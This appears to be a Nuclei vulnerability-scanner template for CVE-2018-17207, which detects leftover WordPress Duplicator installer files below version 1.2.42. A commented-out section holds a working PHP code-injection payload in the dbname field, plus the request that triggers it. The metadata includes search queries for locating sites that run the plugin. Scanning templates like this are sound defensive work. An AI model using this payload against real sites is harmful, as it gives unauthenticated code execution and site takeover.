WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution

id: CVE-2018-17207

info:
  name: WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
  author: synacktiv,iamnoooob,pdresearch
  severity: critical
  description: |
    An issue was discovered in Snap Creek Duplicator before 1.2.42. By accessing leftover installer files (installer.php and installer-backup.php), an attacker can inject PHP code into wp-config.php during the database setup step, achieving arbitrary code execution.
  impact: |
    Unauthenticated attackers can inject and execute arbitrary PHP code by exploiting leftover installer files, leading to complete WordPress site compromise and potential server takeover.
  remediation: |
    Remove installer.php and installer-backup.php files after installation, and upgrade to Duplicator version 1.2.42 or later.
  reference:
    - https://www.synacktiv.com/posts/exploit/wordpress-duplicator-plugin-arbitrary-code-execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-17207
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-17207
    cwe-id: CWE-94
    epss-score: 0.60086
    epss-percentile: 0.99143
    cpe: cpe:2.3:a:snapcreek:duplicator:*:*:*:*:lite:wordpress:*:*
  metadata:
    vendor: snapcreek
    product: duplicator
    framework: wordpress
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/duplicator"
    google-query: inurl:"/wp-content/plugins/duplicator"
  tags: cve,cve2018,wordpress,duplicator,rce,vkev,passive,vuln

# Uncomment to attempt RCE, but note that it modifies database details, potentially causing the website to not function properly.
# variables:
#   marker: "{{randstr}}"

http:
  - raw:
      - |
        POST /installer-backup.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action_step=1

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "Plugin Version:.*?([0-9].*?)<"
        internal: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<title>Duplicator</title>'
          - 'dupx-header-version'
          - 'Deployment Path:'
        condition: and

      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - compare_versions(version, '< 1.2.42')

  # - raw:
  #     - |-
  #       POST /installer-backup.php HTTP/1.1
  #       Host: {{Hostname}}
  #       Content-Type: application/x-www-form-urlencoded
  #       Connection: close

  #       action_ajax=3&action_step=3&dbhost=nowhere&dbuser=test&dbpass=test&dbname=wordpress');echo base64_decode($_GET["input"]);//&dbport=12345&

  #   matchers-condition: and
  #   matchers:
  #     - type: word
  #       part: body
  #       words:
  #         - updt_rows
  #         - scan_rows
  #         - scan_tables
  #       condition: and
  #     - type: status
  #       status:
  #         - 200
  #       internal: true


  # - raw:
  #     - |+
  #       GET /wp-config.php?input={{base64(marker)}} HTTP/1.1
  #       Host: {{Hostname}}
  #       Connection: close
  # matchers-condition: and
  # matchers:
  #   - type: word
  #     part: body
  #     words:
  #       - '{{marker}}'
  #   - type: status
  #     status:
  #       - 200